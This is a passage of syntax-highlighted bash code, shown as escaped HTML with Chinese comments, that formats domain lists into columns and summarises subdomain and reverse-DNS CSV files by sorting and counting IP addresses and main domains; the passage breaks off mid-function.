&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 将域名拆分为数组&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -ra DOMAIN_ARRAY &lt;span class="o"&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$domains&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;DOMAIN_ARRAY&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 计算最大域名长度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; domain in &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;DOMAIN_ARRAY&lt;/span&gt;&lt;span class="p"&gt;[@]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;domain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$domain&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; xargs&lt;span class="k"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# 去除前后空格&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;${#&lt;/span&gt;&lt;span class="nv"&gt;domain&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt; len &amp;gt; max_length &lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;max_length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$len&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 计算列数和每列宽度&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;columns&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt; &lt;span class="k"&gt;$(&lt;/span&gt;tput cols&lt;span class="k"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;max_length &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt; columns &amp;lt; &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt; &lt;span class="nv"&gt;columns&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt; columns &amp;gt; &lt;span class="m"&gt;6&lt;/span&gt; &lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt; &lt;span class="nv"&gt;columns&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;6&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 计算行数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;rows&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;count &lt;span class="o"&gt;+&lt;/span&gt; columns &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; columns &lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 格式化输出&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt; &lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="p"&gt;;&lt;/span&gt; i&amp;lt;rows&lt;span class="p"&gt;;&lt;/span&gt; i++ &lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34; &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt; &lt;span class="nv"&gt;j&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="p"&gt;;&lt;/span&gt; j&amp;lt;columns&lt;span class="p"&gt;;&lt;/span&gt; j++ &lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;idx&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt; i &lt;span class="o"&gt;+&lt;/span&gt; j &lt;span class="o"&gt;*&lt;/span&gt; rows &lt;span class="k"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;((&lt;/span&gt; idx &amp;lt; count &lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nv"&gt;domain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;DOMAIN_ARRAY&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$idx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; xargs&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;%-*s&amp;#34;&lt;/span&gt; &lt;span class="k"&gt;$((&lt;/span&gt;max_length &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="k"&gt;))&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$domain&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 处理子域名文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt;process_subdomain&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 按IP排序&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n\033[1;34m按IP地址排序:\033[0m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt; awk -F, &lt;span class="s1"&gt;&amp;#39;NR&amp;gt;1&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sort -t, -k2 &lt;span class="p"&gt;|&lt;/span&gt; column -t -s, -N &lt;span class="s2"&gt;&amp;#34;子域名,IP地址&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# IP重复统计&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n\033[1;34mIP地址重复统计:\033[0m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt; awk -F, &lt;span class="s1"&gt;&amp;#39;NR&amp;gt;1 {ip_count[$2]++} END {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; for (ip in ip_count) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; printf &amp;#34;%d\t%s\n&amp;#34;, ip_count[ip], ip
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sort -nr &lt;span class="p"&gt;|&lt;/span&gt; column -t -N &lt;span class="s2"&gt;&amp;#34;重复次数,IP地址&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 重复最多的IP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n\033[1;34m重复最多的IP地址:\033[0m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt; awk -F, &lt;span class="s1"&gt;&amp;#39;NR&amp;gt;1 {ip_count[$2]++} END {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; max_count = 0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; for (ip in ip_count) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; if (ip_count[ip] &amp;gt; max_count) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; max_count = ip_count[ip]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; max_ip = ip
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; printf &amp;#34;IP地址: %s\n重复次数: %d\n&amp;#34;, max_ip, max_count
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 处理反向DNS文件&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt;process_reverse&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;local&lt;/span&gt; &lt;span class="nv"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 主域名统计&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n\033[1;34m主域名出现统计:\033[0m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt; awk -F, &lt;span class="s1"&gt;&amp;#39;NR&amp;gt;1 &amp;amp;&amp;amp; $2 != &amp;#34;&amp;#34; {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; # 提取主域名
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; n = split($2, parts, &amp;#34;.&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;115&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; if (n &amp;gt; 1) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;116&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; main_domain = parts[n-1] &amp;#34;.&amp;#34; parts[n]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;117&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; domain_count[main_domain]++
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;118&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;119&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; } END {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;120&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; for (d in domain_count) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;121&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; printf &amp;#34;%d\t%s\n&amp;#34;, domain_count[d], d
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;122&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;123&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }&amp;#39;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sort -nr &lt;span class="p"&gt;|&lt;/span&gt; column -t -N &lt;span class="s2"&gt;&amp;#34;出现次数,主域名&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;124&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;125&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 重复最多的主域名&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;126&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; -e &lt;span class="s2"&gt;&amp;#34;\n\033[1;34m重复最多的主域名:\033[0m&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;127&lt;/span&gt;&lt;span class="cl"&gt; awk -F, &lt;span class="s1"&gt;&amp;#39;NR&amp;gt;1 &amp;amp;&amp;amp; $2 != &amp;#34;&amp;#34; {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;128&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; n = split($2, parts, &amp;#34;.&amp;#34;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;129&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; if (n &amp;gt; 1) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;130&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; main_domain = parts[n-1] &amp;#34;.&amp;#34; parts[n]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;131&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; domain_count[main_domain]++
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;132&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;133&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; } END {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;134&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; max_count = 0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;135&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; for (d in domain_count) {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;136&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s1"&gt; if (domain_count[d] &amp;gt; max_count) {
